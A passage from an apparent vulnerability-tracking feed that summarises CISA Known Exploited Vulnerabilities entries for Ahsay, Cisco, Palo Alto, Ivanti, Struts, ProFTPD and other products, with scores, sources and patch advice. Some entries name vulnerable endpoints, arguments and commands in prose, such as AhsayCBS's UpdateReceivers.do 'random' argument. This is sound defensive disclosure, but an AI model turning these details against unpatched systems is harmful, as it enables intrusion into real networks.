NVD CVE-2026-105134: https://nvd.nist.gov/vuln/detail/CVE-2026-105134
Vendor advisory (via NVD references): https://www.ahsay.com/en/company/announcements/patch-cve-105133-105134-update
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
CISA KEV entry CVE-2026-105134: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105134&date=2026-10-25
CVE Program CNA VulDB: https://cveawg.mitre.org/api/cve/CVE-2026-105134
A flaw has been found in Ahsay AhsayCBS up to 9.15.2.69/10.3.4.44. This vulnerability affects unknown code of the file /rps/api/json/UpdateReceivers.do of the component Replication Receiver. Executing a manipulation of the argument random can lead to os command injection. It is possible to launch the attack remotely. The exploit has been published and may be used. Upgrading to version 9.15.2.70 and 10.3.4.45 is able to resolve this issue. Upgrading the affected component is advised. The initial patch did not fix the security vulnerability properly. An update of the CVE entry to reflect this became necessary.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 14, 2026; federal due date Oct 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Secure Email Gateway Relative Path Traversal Vulnerability
https://kevwire.com/record/CVE-2026-76519
Cisco Secure Email Gateway Relative Path Traversal Vulnerability (Oct 14, 2026).
A vulnerability in the Advanced Malware Protection (AMP) feature of Cisco Secure Email Gateway could allow an unauthenticated, remote attacker to write arbitrary files on the underlying operating system.

This vulnerability is due to improper handling of email attachments when the file reputation service is enabled. An attacker could exploit this vulnerability by sending an email that contains a crafted attachment through an affected device. A successful exploit could allow the attacker to write arbitrary files and execute commands with&nbsp;root privileges on the underlying operating system.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76519).
EPSS 2.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76519&date=2026-10-25).
Sources:
NVD CVE-2026-76519: https://nvd.nist.gov/vuln/detail/CVE-2026-76519
Vendor advisory (via NVD references): https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-afw-zqYJkjxp
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
CISA KEV entry CVE-2026-76519: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76519&date=2026-10-25
A vulnerability in the Advanced Malware Protection (AMP) feature of Cisco Secure Email Gateway could allow an unauthenticated, remote attacker to write arbitrary files on the underlying operating system.

This vulnerability is due to improper handling of email attachments when the file reputation service is enabled. An attacker could exploit this vulnerability by sending an email that contains a crafted attachment through an affected device. A successful exploit could allow the attacker to write arbitrary files and execute commands with&nbsp;root privileges on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 14, 2026; federal due date Oct 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ahsay AhsayCBS Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2026-105133
Ahsay AhsayCBS Improper Authentication Vulnerability (Oct 4, 2026).
A vulnerability was detected in Ahsay AhsayCBS up to 9.15.2.69/10.3.4.44. This affects the function checkSysPwd of the file com/ahsay/obs/api/ApiStructsAction.java of the component API. Performing a manipulation of the argument random results in improper authentication. It is possible to initiate the attack remotely. The exploit is now public and may be used. Upgrading to version 9.15.2.70 and 10.3.4.45 is able to mitigate this issue. It is recommended to upgrade the affected component. The initial patch did not fix the security vulnerability properly. An update of the CVE entry to reflect this became necessary.
CVSS 6.9 (version 4.0; evidence as of Oct 4, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-105133).
EPSS 79.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105133&date=2026-10-25).
Sources:
NVD CVE-2026-105133: https://nvd.nist.gov/vuln/detail/CVE-2026-105133
Vendor advisory (via NVD references): https://www.ahsay.com/en/company/announcements/patch-cve-105133-105134-update
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
CISA KEV entry CVE-2026-105133: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105133&date=2026-10-25
CVE Program CNA VulDB: https://cveawg.mitre.org/api/cve/CVE-2026-105133
A vulnerability was detected in Ahsay AhsayCBS up to 9.15.2.69/10.3.4.44. This affects the function checkSysPwd of the file com/ahsay/obs/api/ApiStructsAction.java of the component API. Performing a manipulation of the argument random results in improper authentication. It is possible to initiate the attack remotely. The exploit is now public and may be used. Upgrading to version 9.15.2.70 and 10.3.4.45 is able to mitigate this issue. It is recommended to upgrade the affected component. The initial patch did not fix the security vulnerability properly. An update of the CVE entry to reflect this became necessary.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 14, 2026; federal due date Oct 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Palo Alto Networks PAN-OS Code Injection Vulnerability
https://kevwire.com/record/CVE-2026-0322
Palo Alto Networks PAN-OS Code Injection Vulnerability (Oct 14, 2026).
A remote code execution (RCE) vulnerability in the management interface of Palo Alto Networks PAN-OS® software enables an authenticated attacker with network access to execute arbitrary code with root privileges on the firewall.



The security risk posed by this issue is minimized by restricting access to the management interface to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .



This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).



Cloud NGFW and Prisma® Access are not impacted by this vulnerability.
CVSS 8.6 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0322).
EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-0322&date=2026-10-25).
Sources:
NVD CVE-2026-0322: https://nvd.nist.gov/vuln/detail/CVE-2026-0322
Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0322
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
CISA KEV entry CVE-2026-0322: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-0322&date=2026-10-25
A remote code execution (RCE) vulnerability in the management interface of Palo Alto Networks PAN-OS® software enables an authenticated attacker with network access to execute arbitrary code with root privileges on the firewall.



The security risk posed by this issue is minimized by restricting access to the management interface to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .



This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).



Cloud NGFW and Prisma® Access are not impacted by this vulnerability.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 14, 2026; federal due date Oct 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Connect Secure Authentication Bypass by Spoofing Vulnerability
https://kevwire.com/record/CVE-2026-104935
Ivanti Connect Secure Authentication Bypass by Spoofing Vulnerability (Oct 13, 2026).
Authentication bypass by spoofing in ICS before version 25.1.3.0 allows a remote unauthenticated attacker to execute arbitrary commands. This does not impact ICS version 22.7R2.14 or prior.
CVSS 8.6 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104935).
EPSS 86.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104935&date=2026-10-25).
Sources:
NVD CVE-2026-104935: https://nvd.nist.gov/vuln/detail/CVE-2026-104935
Vendor advisory (via NVD references): https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
CISA KEV entry CVE-2026-104935: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104935&date=2026-10-25
Authentication bypass by spoofing in ICS before version 25.1.3.0 allows a remote unauthenticated attacker to execute arbitrary commands. This does not impact ICS version 22.7R2.14 or prior.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 13, 2026; federal due date Oct 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Command Injection Vulnerability
https://kevwire.com/record/CVE-2026-96951
Microsoft Windows Command Injection Vulnerability (Oct 13, 2026).
Microsoft Windows Shell contains a command injection vulnerability that allows an unauthorized attacker to bypass a security feature over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96951).
EPSS 9.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96951&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-96951: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
NVD CVE-2026-96951: https://nvd.nist.gov/vuln/detail/CVE-2026-96951
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96951
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96951&date=2026-10-25
CISA added this entry on 2026-10-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 13, 2026; federal due date Oct 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ISC BIND Data Processing Errors Vulnerability
https://kevwire.com/record/CVE-2015-5477
ISC BIND Data Processing Errors Vulnerability (Oct 8, 2026).
ISC BIND contains a data processing errors vulnerability that could allow remote attackers to cause a denial of service via TKEY queries.
CVSS 7.5 (version 3.1; evidence as of Oct 9, 2026; https://cveawg.mitre.org/api/cve/CVE-2015-5477).
EPSS 99.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-5477&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-5477: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-5477&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2015-5477
CISA added this entry on 2026-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 8, 2026; federal due date Oct 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Struts Command Injection Vulnerability
https://kevwire.com/record/CVE-2016-3081
Apache Struts Command Injection Vulnerability (Oct 8, 2026).
Apache Struts contains a command injection vulnerability that could allow remote attackers to execute arbitrary code via method:prefix when Dynamic Method Invocation is enabled.
CVSS 8.1 (version 3.1; evidence as of Oct 9, 2026; https://cveawg.mitre.org/api/cve/CVE-2016-3081).
EPSS 96.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3081&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-3081: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3081&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2016-3081
CISA added this entry on 2026-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 8, 2026; federal due date Oct 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Strapi Cleartext Storage of Sensitive Information Vulnerability
https://kevwire.com/record/CVE-2023-22894
Strapi Cleartext Storage of Sensitive Information Vulnerability (Oct 8, 2026).
Strapi contains a cleartext storage of sensitive information vulnerability that could allow attackers with access to the admin panel to discover sensitive user details via the query filter. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version. This vulnerability can be chained with CVE-2023-22621 to achieve remote code execution.
CVSS 7.2 (version 3.1; evidence as of Oct 9, 2026; https://cveawg.mitre.org/api/cve/CVE-2023-22894).
EPSS 4.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-22894&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-22894: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-22894&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2023-22894
CISA added this entry on 2026-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 8, 2026; federal due date Oct 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ONLYOFFICE Docs Server Path Traversal Vulnerability
https://kevwire.com/record/CVE-2021-3199
ONLYOFFICE Docs Server Path Traversal Vulnerability (Oct 8, 2026).
ONLYOFFICE Docs contains a path traversal vulnerability that can occur when JWT is used, via a /.. sequence in an image upload parameter and could allow for remote code execution.
CVSS 9.8 (version 3.1; evidence as of Oct 9, 2026; https://cveawg.mitre.org/api/cve/CVE-2021-3199).
EPSS 30.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-3199&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-3199: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-3199&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2021-3199
CISA added this entry on 2026-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 8, 2026; federal due date Oct 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ProFTPD Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2015-3306
ProFTPD Improper Access Control Vulnerability (Oct 8, 2026).
ProFTPD contains an improper access control vulnerability that could allow remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.
CVSS 10.0 (version 3.1; evidence as of Oct 9, 2026; https://cveawg.mitre.org/api/cve/CVE-2015-3306).
EPSS 99.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-3306&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-3306: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-3306&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2015-3306
CISA added this entry on 2026-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 8, 2026; federal due date Oct 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix NetScaler Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability
https://kevwire.com/record/CVE-2026-88779
Citrix NetScaler Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability (Oct 4, 2026).
Citrix NetScaler ADC (formerly Citrix ADC) and Citrix NetScaler Gateway (formerly Citrix Gateway) contain an improper restriction of operations within the bounds of a memory buffer vulnerability that could allow for a denial of service.
CVSS 8.7 (version 4.0; evidence as of Oct 4, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-88779).
EPSS 11.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88779&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-88779: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88779&date=2026-10-25
CVE Program CNA NetScaler: https://cveawg.mitre.org/api/cve/CVE-2026-88779
CISA added this entry on 2026-10-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 4, 2026; federal due date Oct 7, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zammad GmbH Zammad Improper Privilege Management Vulnerability
https://kevwire.com/record/CVE-2026-102490
Zammad GmbH Zammad Improper Privilege Management Vulnerability (Oct 2, 2026).
Zammad GmbH Zammad contains an improper privilege management vulnerability that can allow the local zammad user to escalate privileges to root. This vulnerability can be chained with CVE-2026-102489.
CVSS 8.5 (version 4.0; evidence as of Oct 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-102490).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102490&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-102490: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102490&date=2026-10-25
CVE Program CNA DIVD: https://cveawg.mitre.org/api/cve/CVE-2026-102490
CISA added this entry on 2026-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 2, 2026; federal due date Oct 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zammad GmbH Zammad Session Fixation Vulnerability
https://kevwire.com/record/CVE-2026-102489
Zammad GmbH Zammad Session Fixation Vulnerability (Oct 2, 2026).
Zammad GmbH Zammad contains a session fixation vulnerability that can lead to remote code execution as the zammad user. This vulnerability can be chained with CVE-2026-102490.
CVSS 8.7 (version 4.0; evidence as of Oct 19, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-102489).
EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102489&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-102489: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102489&date=2026-10-25
CVE Program CNA DIVD: https://cveawg.mitre.org/api/cve/CVE-2026-102489
CISA added this entry on 2026-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 2, 2026; federal due date Oct 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiMail Path Traversal Vulnerability
https://kevwire.com/record/CVE-2026-104286
Fortinet FortiMail Path Traversal Vulnerability (Oct 1, 2026).
Fortinet FortiMail contains a path traversal and an improper neutralization of NULL byte or NULL character vulnerability that may allow an unauthenticated attacker to write arbitrary files on the underlying system via crafted HTTP or HTTPS requests.
CVSS 9.8 (version 3.1; evidence as of Oct 7, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-104286).
EPSS 4.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104286&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-104286: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104286&date=2026-10-25
CVE Program CNA fortinet: https://cveawg.mitre.org/api/cve/CVE-2026-104286
CISA added this entry on 2026-10-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 1, 2026; federal due date Oct 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Catalyst SD-WAN Manager Hex Encoding Vulnerability
https://kevwire.com/record/CVE-2026-76504
Cisco Catalyst SD-WAN Manager Hex Encoding Vulnerability (Sep 30, 2026).
Cisco Catalyst SD-WAN Manager contains a hex encoding vulnerability that could allow an unauthenticated, remote attacker to access an affected system with privileges of the admin user due to improper handling of URI encoding in an HTTP request.
CVSS 9.8 (version 3.1; evidence as of Oct 2, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-76504).
EPSS 38.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76504&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-76504: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76504&date=2026-10-25
CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-76504
CISA added this entry on 2026-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
